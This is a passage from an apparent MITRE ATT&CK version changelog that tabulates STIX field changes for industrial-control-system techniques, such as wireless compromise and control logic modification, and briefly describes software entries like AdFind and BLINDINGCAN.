and native remote access services to access employee workstations hosting HMI applications. (Citation: Ukraine15 - EISAC - 201603) The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T859 | https://attack.mitre.org/techniques/T0859 |
| external_references[1]['source_name'] | Ukraine15 - EISAC - 201603 | Booz Allen Hamilton |
| external_references[1]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 |
| external_references[1]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Process monitoring | User Account: User Account Authentication |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'} | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform wireless compromise as a method of g | t | 1 | Adversaries may perform wireless compromise as a method of g |
| > | aining communications and unauthorized access to a wireless | > | aining communications and unauthorized access to a wireless | ||
| > | network. Access to a wireless network may be gained through | > | network. Access to a wireless network may be gained through | ||
| > | the compromise of a wireless device. (Citation: ICSCorsair - | > | the compromise of a wireless device. (Citation: Alexander Bo | ||
| > | Bolshev) (Citation: Hart - Bolshev) Adversaries may also ut | > | lshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev | ||
| > | ilize radios and other wireless communication devices on the | > | March 2014) Adversaries may also utilize radios and other wi | ||
| > | same frequency as the wireless network. Wireless compromise | > | reless communication devices on the same frequency as the wi | ||
| > | can be done as an initial access vector from a remote dista | > | reless network. Wireless compromise can be done as an initia | ||
| > | nce. A joint case study on the Maroochy Shire Water Servi | > | l access vector from a remote distance. A joint case stu | ||
| > | ces event examined the attack from a cyber security perspect | > | dy on the Maroochy Shire Water Services event examined the a | ||
| > | ive. (Citation: Maroochy - MITRE - 200808) The adversary di | > | ttack from a cyber security perspective. (Citation: Marshall | ||
| > | srupted Maroochy Shire's radio-controlled sewage system by d | > | Abrams July 2008) The adversary disrupted Maroochy Shire's | ||
| > | riving around with stolen radio equipment and issuing comman | > | radio-controlled sewage system by driving around with stolen | ||
| > | ds with them. Boden used a two-way radio to communicate with | > | radio equipment and issuing commands with them. Boden used | ||
| > | and set the frequencies of Maroochy Shire's repeater statio | > | a two-way radio to communicate with and set the frequencies | ||
| > | ns. A Polish student used a modified TV remote controller | > | of Maroochy Shire's repeater stations. A Polish student us | ||
| > | to gain access to and control over the Lodz city tram system | > | ed a modified TV remote controller to gain access to and con | ||
| > | in Poland. (Citation: LodzTram-LondonReconnections-2017-12) | > | trol over the Lodz city tram system in Poland. (Citation: Jo | ||
| > | (Citation: LodzTram-InHomelandSecurity-2008-02) The remote | > | hn Bill May 2017) (Citation: Shelley Smith February 2008) Th | ||
| > | controller device allowed the student to interface with the | > | e remote controller device allowed the student to interface | ||
| > | tram’s network to modify track settings and override operato | > | with the trams network to modify track settings and override | ||
| > | r control. The adversary may have accomplished this by align | > | operator control. The adversary may have accomplished this | ||
| > | ing the controller to the frequency and amplitude of IR cont | > | by aligning the controller to the frequency and amplitude of | ||
| > | rol protocol signals. (Citation: LodzTram-Schneier-2008-01) | > | IR control protocol signals. (Citation: Bruce Schneier Janu | ||
| > | The controller then enabled initial access to the network, a | > | ary 2008) The controller then enabled initial access to the | ||
| > | llowing the capture and replay of tram signals. (Citation: L | > | network, allowing the capture and replay of tram signals. (C | ||
| > | odzTram-LondonReconnections-2017-12) | > | itation: John Bill May 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.995000+00:00 |
| description | Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12) | Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: Alexander Bolshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev March 2014) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Marshall Abrams July 2008) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: Bruce Schneier January 2008) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: John Bill May 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T860 | https://attack.mitre.org/techniques/T0860 |
| external_references[1]['source_name'] | Hart - Bolshev | Alexander Bolshev, Gleb Cherbov July 2014 |
| external_references[1]['description'] | Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020. | Alexander Bolshev, Gleb Cherbov 2014, July 08 ICSCorsair: How I will PWN your ERP through 4-20 mA current loop Retrieved. 2020/01/05 |
| external_references[1]['url'] | https://www.slideshare.net/dgpeters/17-bolshev-1-13 | https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf |
| external_references[2]['source_name'] | ICSCorsair - Bolshev | Alexander Bolshev March 2014 |
| external_references[2]['description'] | Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020. | Alexander Bolshev 2014, March 11 S4x14: HART As An Attack Vector Retrieved. 2020/01/05 |
| external_references[2]['url'] | https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf | https://www.slideshare.net/dgpeters/17-bolshev-1-13 |
| external_references[3]['source_name'] | LodzTram-InHomelandSecurity-2008-02 | Marshall Abrams July 2008 |
| external_references[3]['description'] | Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[3]['url'] | https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/ | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[4]['source_name'] | LodzTram-LondonReconnections-2017-12 | John Bill May 2017 |
| external_references[4]['description'] | John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019. | John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 |
| external_references[5]['source_name'] | LodzTram-Schneier-2008-01 | Shelley Smith February 2008 |
| external_references[5]['description'] | Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019. | Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 |
| external_references[5]['url'] | https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html | https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/ |
| external_references[6]['source_name'] | Maroochy - MITRE - 200808 | Bruce Schneier January 2008 |
| external_references[6]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 |
| external_references[6]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'John Bill May 2017', 'description': 'John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 ', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Input/Output Server |
Current version: 1.0
Description: Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.399000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T875 | https://attack.mitre.org/techniques/T0875 |
Current version: 1.0
Description: Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.399000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T808 | https://attack.mitre.org/techniques/T0808 |
Current version: 1.0
Description: Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. (Citation: Industroyer - Dragos - 201810) The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include references to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be "expected to have extensive connections" within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. Permissions Required: Administrator Contributors: Joe Slowik - Dragos
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.397000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T810 | https://attack.mitre.org/techniques/T0810 |
Current version: 1.0
Description: Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.399000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T870 | https://attack.mitre.org/techniques/T0870 |
Current version: 1.0
Description: Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File monitoring', 'API monitoring', 'Windows event logs'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.400000+00:00 |
| description | Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. | Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T818 | https://attack.mitre.org/techniques/T0818 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Description: Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows registry', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.401000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T824 | https://attack.mitre.org/techniques/T0824 |
Current version: 1.0
Description: Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.398000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T825 | https://attack.mitre.org/techniques/T0825 |
Current version: 1.0
Description: Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. (Citation: Stuxnet - Langner - 201311) In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.401000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T833 | https://attack.mitre.org/techniques/T0833 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Description: Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to . Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.397000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T841 | https://attack.mitre.org/techniques/T0841 |
Current version: 1.0
Description: Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg) Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected (Citation: Stuxnet - Symantec - 201102): *Increase the size of the original block. *Write malicious code to the beginning of the block. *Insert the original OB1 code after the malicious code.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.400000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T844 | https://attack.mitre.org/techniques/T0844 |
Current version: 1.0
Description: Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.396000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T850 | https://attack.mitre.org/techniques/T0850 |
Current version: 1.0
Description: Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network protocol analysis', 'Packet capture'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:24.398000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T854 | https://attack.mitre.org/techniques/T0854 |
Current version: 1.0
Description: [AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)
Current version: 1.0
Description: [AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)
Current version: 1.0
Description: [AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)
Current version: 1.1
Description: [AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)
Current version: 1.0
Description: [Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)
Current version: 1.0
Description: [BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)
Current version: 1.0
Description: [BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)
Current version: 1.0
